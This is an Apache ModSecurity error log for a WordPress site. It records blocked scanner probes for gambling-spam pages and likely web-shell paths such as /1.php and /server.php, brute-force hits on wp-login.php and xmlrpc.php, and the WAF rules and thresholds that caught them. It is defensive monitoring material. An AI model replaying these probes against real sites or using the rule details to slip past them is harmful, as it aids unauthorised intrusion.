[Sun Mar 22 05:45:06.072326 2026] [:error] [pid 40039:tid 40064] [client 51.77.218.191:39664] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ab8RYh3aDgUJfBYishnyCQAAARc"]
[Sun Mar 22 05:45:08.415754 2026] [:error] [pid 51468:tid 51494] [client 51.77.218.191:39666] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ab8RZE2TppSvA8W5CBSQ_wAAANI"]
[Sun Mar 22 05:45:10.899023 2026] [:error] [pid 51363:tid 51451] [client 51.77.218.191:39682] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ab8RZlwa9x6OCTRkhl1OMQAAAJU"]
[Sun Mar 22 05:45:13.250679 2026] [:error] [pid 51468:tid 51494] [client 51.77.218.191:39080] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ab8RaU2TppSvA8W5CBSRCQAAANI"]
[Sun Mar 22 05:45:15.875309 2026] [:error] [pid 51468:tid 51482] [client 51.77.218.191:39092] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ab8Ra02TppSvA8W5CBSREgAAAMY"]
[Sun Mar 22 05:45:18.593286 2026] [:error] [pid 40039:tid 40048] [client 51.77.218.191:39104] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ab8Rbh3aDgUJfBYishnyOQAAAQc"]
[Sun Mar 22 05:45:20.982948 2026] [:error] [pid 40039:tid 40048] [client 51.77.218.191:39106] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ab8RcB3aDgUJfBYishnyRwAAAQc"]
[Sun Mar 22 05:45:42.384633 2026] [:error] [pid 51468:tid 51480] [client 51.77.218.191:32880] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ab8Rhk2TppSvA8W5CBSRRwAAAMQ"]
[Sun Mar 22 07:06:08.658230 2026] [:error] [pid 51468:tid 51476] [client 143.105.37.181:6470] [client 143.105.37.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.37.181, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ab8kYE2TppSvA8W5CBS3JwAAAMA"]
[Sun Mar 22 12:08:34.360514 2026] [:error] [pid 51468:tid 51497] [client 72.56.50.245:52861] [client 72.56.50.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.56.50.245, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ab9rQk2TppSvA8W5CBREkwAAANU"]
[Sun Mar 22 12:37:49.498584 2026] [:error] [pid 51468:tid 51495] [client 43.133.253.253:42398] [client 43.133.253.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ab9yHU2TppSvA8W5CBRSfAAAANM"]
[Sun Mar 22 13:53:36.897152 2026] [:error] [pid 51362:tid 51405] [client 43.153.35.128:53662] [client 43.153.35.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab-D4MOwPm3DXzTDjUcntAAAAEQ"]
[Sun Mar 22 19:21:58.166416 2026] [:error] [pid 51363:tid 51454] [client 114.80.36.40:42590] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab_Q1lwa9x6OCTRkhl2VmwAAAJg"]
[Sun Mar 22 19:36:31.491799 2026] [:error] [pid 51363:tid 51444] [client 177.181.7.177:15689] [client 177.181.7.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.181.7.177, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ab_UP1wa9x6OCTRkhl2dwgAAAI8"]
[Sun Mar 22 21:01:15.101733 2026] [:error] [pid 30166:tid 30175] [client 20.102.53.32:61973] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ab_oG7m4_26jKMD0zy0IvwAAAUQ"]
[Sun Mar 22 21:01:15.936733 2026] [:error] [pid 51468:tid 51495] [client 20.102.53.32:46402] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ab_oG02TppSvA8W5CBRgoQAAANM"]
[Sun Mar 22 21:01:16.773354 2026] [:error] [pid 51361:tid 51384] [client 20.102.53.32:61976] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ab_oHBXYUsdvKC9YWpX2iQAAAA0"]
[Sun Mar 22 21:01:17.623056 2026] [:error] [pid 51468:tid 51487] [client 20.102.53.32:61978] [client 20.102.53.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ab_oHU2TppSvA8W5CBRgowAAAMs"]
[Sun Mar 22 22:09:20.278854 2026] [:error] [pid 51361:tid 51380] [client 161.153.52.7:65446] [client 161.153.52.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.153.52.7, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ab_4EBXYUsdvKC9YWpUhlAAAAAk"]
[Sun Mar 22 22:09:20.675342 2026] [:error] [pid 51468:tid 51486] [client 161.153.52.7:49456] [client 161.153.52.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.153.52.7, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ab_4EE2TppSvA8W5CBSNvgAAAMo"], referer: https://www.facebook.com/
[Sun Mar 22 22:09:20.867030 2026] [:error] [pid 51361:tid 51393] [client 161.153.52.7:65446] [client 161.153.52.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.153.52.7, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "ab_4EBXYUsdvKC9YWpUhlQAAABU"], referer: https://www.facebook.com/
[Sun Mar 22 23:56:29.565952 2026] [:error] [pid 51361:tid 51373] [client 49.51.178.45:44386] [client 49.51.178.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acARLRXYUsdvKC9YWpVG3wAAAAI"]
[Mon Mar 23 00:43:06.714656 2026] [:error] [pid 20856:tid 20923] [client 106.221.50.109:40639] [client 106.221.50.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.221.50.109, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acAcGsxFtXFVNE-X2-J8-AAAAMQ"]
[Mon Mar 23 02:24:12.649152 2026] [:error] [pid 20856:tid 20922] [client 121.229.185.160:57738] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acAzzMxFtXFVNE-X2-KlAwAAAMM"]
[Mon Mar 23 04:15:30.641445 2026] [:error] [pid 23440:tid 23479] [client 43.166.238.12:42270] [client 43.166.238.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acBN4j49_8n8h_ttcUq3RgAAAEM"]
[Mon Mar 23 05:15:58.813400 2026] [:error] [pid 23539:tid 23557] [client 43.130.16.212:56844] [client 43.130.16.212] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acBcDn7Dh3qWGSpIAZU4GAAAAMk"]
[Mon Mar 23 14:20:47.106946 2026] [:error] [pid 23441:tid 23519] [client 43.130.228.73:49304] [client 43.130.228.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acDbvxq7S-oOqSXZEr6xawAAAJA"]
[Mon Mar 23 14:53:23.537451 2026] [:error] [pid 23440:tid 23486] [client 173.239.218.222:35279] [client 173.239.218.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "acDjYz49_8n8h_ttcUoVXAAAAEo"]
[Mon Mar 23 15:50:51.593480 2026] [:error] [pid 23441:tid 23526] [client 49.235.136.28:58454] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acDw2xq7S-oOqSXZEr699gAAAJc"]
[Mon Mar 23 17:37:10.520482 2026] [:error] [pid 23440:tid 23500] [client 51.75.119.154:51026] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acEJxj49_8n8h_ttcUorgAAAAFg"]
[Mon Mar 23 17:37:12.877688 2026] [:error] [pid 57265:tid 57275] [client 51.75.119.154:43498] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acEJyGNLjPJJkhuqCsgaUgAAAQg"]
[Mon Mar 23 17:37:15.271122 2026] [:error] [pid 57265:tid 57284] [client 51.75.119.154:53220] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acEJy2NLjPJJkhuqCsgaVQAAARE"]
[Mon Mar 23 17:37:17.696434 2026] [:error] [pid 35165:tid 35187] [client 51.75.119.154:53234] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acEJzc6udpN6Esk7JKuoMgAAAZM"]
[Mon Mar 23 17:37:20.245531 2026] [:error] [pid 23539:tid 23568] [client 51.75.119.154:53248] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acEJ0H7Dh3qWGSpIAZURHAAAANQ"]
[Mon Mar 23 17:37:22.642394 2026] [:error] [pid 23539:tid 23558] [client 51.75.119.154:53252] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acEJ0n7Dh3qWGSpIAZURIgAAAMo"]
[Mon Mar 23 17:37:25.188957 2026] [:error] [pid 23441:tid 23526] [client 51.75.119.154:38220] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acEJ1Rq7S-oOqSXZEr7SxwAAAJc"]
[Mon Mar 23 17:37:27.559428 2026] [:error] [pid 23539:tid 23564] [client 51.75.119.154:38236] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acEJ137Dh3qWGSpIAZURLQAAANA"]
[Mon Mar 23 17:37:29.971442 2026] [:error] [pid 14573:tid 14598] [client 51.75.119.154:38242] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acEJ2e-oSmHn3q4_J1GtCAAAAVc"]
[Mon Mar 23 17:37:32.512865 2026] [:error] [pid 14573:tid 14578] [client 51.75.119.154:38244] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acEJ3O-oSmHn3q4_J1GtDQAAAUM"]
[Mon Mar 23 17:37:34.899610 2026] [:error] [pid 35165:tid 35173] [client 51.75.119.154:44852] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acEJ3s6udpN6Esk7JKuoQgAAAYU"]
[Mon Mar 23 17:37:37.438456 2026] [:error] [pid 57265:tid 57278] [client 51.75.119.154:44868] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acEJ4WNLjPJJkhuqCsgaggAAAQs"]
[Mon Mar 23 17:37:39.847510 2026] [:error] [pid 35165:tid 35185] [client 51.75.119.154:44874] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acEJ486udpN6Esk7JKuoSQAAAZE"]
[Mon Mar 23 17:37:42.233098 2026] [:error] [pid 23539:tid 23563] [client 51.75.119.154:44878] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acEJ5n7Dh3qWGSpIAZURRAAAAM8"]
[Mon Mar 23 17:37:43.246513 2026] [:error] [pid 14573:tid 14589] [client 20.63.98.227:2434] [client 20.63.98.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.98.227, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acEJ5--oSmHn3q4_J1GtIQAAAU4"]
[Mon Mar 23 17:37:44.374000 2026] [:error] [pid 14573:tid 14586] [client 20.63.98.227:2434] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "acEJ6O-oSmHn3q4_J1GtKAAAAUs"]
[Mon Mar 23 17:37:44.784372 2026] [:error] [pid 14573:tid 14582] [client 51.75.119.154:32984] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acEJ6O-oSmHn3q4_J1GtKQAAAUc"]
[Mon Mar 23 17:37:45.197319 2026] [:error] [pid 23440:tid 23481] [client 20.63.98.227:2447] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "acEJ6T49_8n8h_ttcUorhAAAAEU"]
[Mon Mar 23 17:37:46.040477 2026] [:error] [pid 35165:tid 35174] [client 20.63.98.227:2432] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "acEJ6s6udpN6Esk7JKuoTQAAAYY"]
[Mon Mar 23 17:37:46.872818 2026] [:error] [pid 35165:tid 35179] [client 20.63.98.227:2441] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "acEJ6s6udpN6Esk7JKuoTwAAAYs"]
[Mon Mar 23 17:37:47.308169 2026] [:error] [pid 57265:tid 57275] [client 51.75.119.154:32992] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acEJ62NLjPJJkhuqCsgaqQAAAQg"]
[Mon Mar 23 17:37:49.691554 2026] [:error] [pid 57265:tid 57289] [client 51.75.119.154:33004] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acEJ7WNLjPJJkhuqCsgargAAARY"]
